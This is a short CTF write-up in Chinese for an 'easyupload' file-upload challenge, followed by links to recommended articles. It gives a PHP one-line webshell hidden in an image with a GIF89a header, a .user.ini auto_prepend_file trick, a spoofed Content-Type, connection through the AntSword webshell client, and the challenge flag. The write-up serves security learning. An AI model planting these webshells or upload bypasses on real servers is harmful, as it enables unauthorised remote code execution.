CTF之easyupload

拿到题目发现是文件上传的漏洞,但是这个黑名单过滤的有点严格,无论是文件里还是文件后缀都不能出现php

那我们就用<?=eval($_POST['a']);?>来进行绕过(注意这里要加个GIF89a或者GIP87a进行欺骗)

但是后缀依然不能绕过怎么办?

接下来就要学新知识了

.user.ini文件

auto_prepend_file可以让所有的php文件自动的包含某个文件。

例如在.user.ini文件中写入

auto_prepend_file=shell.jpg

然后在shell.jpg中写入一个一句话木嘛

<?php eval($_P0ST['aaa']); ?>

那么和.user.ini和shell.jpg同一目录下的所有php文件都会包含shell.jpg文件。

这里上传.user.ini文件

文件里写:auto_prepend_file=a.jpg

注意:要进行抓包将文件类型改成Content-Type: image/jpeg并且也要加GIF89a或者GIF87a

然后再上传一个对应的木马文件,并且后缀为图片类型

最后就是用蚁剑连接了注意连接地址是/uploads/index.php

cyberpeace{8e50e0951cae4b39f7c312da788c71bb}

相关推荐
汉堡包0015 小时前
【面试总结】--安服实习岗(2)
学习·安全·web安全·网络安全·面试
勇气要爆发5 小时前
跨域 (CORS) 原理:浏览器的“尽职保镖”
网络安全·跨域·cors
微爱帮监所写信寄信5 小时前
微爱帮监狱寄信写信工具照片高清处理技术架构
开发语言·人工智能·网络协议·微信·php
XLYcmy6 小时前
高级密码生成器程序详解:专门设计用于生成基于用户个人信息的密码猜测组合
开发语言·数据结构·python·网络安全·数据安全·源代码·口令安全
天下皆白_唯我独黑7 小时前
php -S 启动项目访问路由报错处理
开发语言·php
梅羽落8 小时前
python武器化开发_01
开发语言·python·php
兮动人9 小时前
Fatal error: Uncaught think\exception\ErrorException: SourceGuardian Loade
android·php
catchadmin10 小时前
2026 年 PHP 开发者进阶 快速高效开发学习习惯
学习·php
Web极客码10 小时前
深入解析WordPress的functions.php文件及其高效使用方法
开发语言·php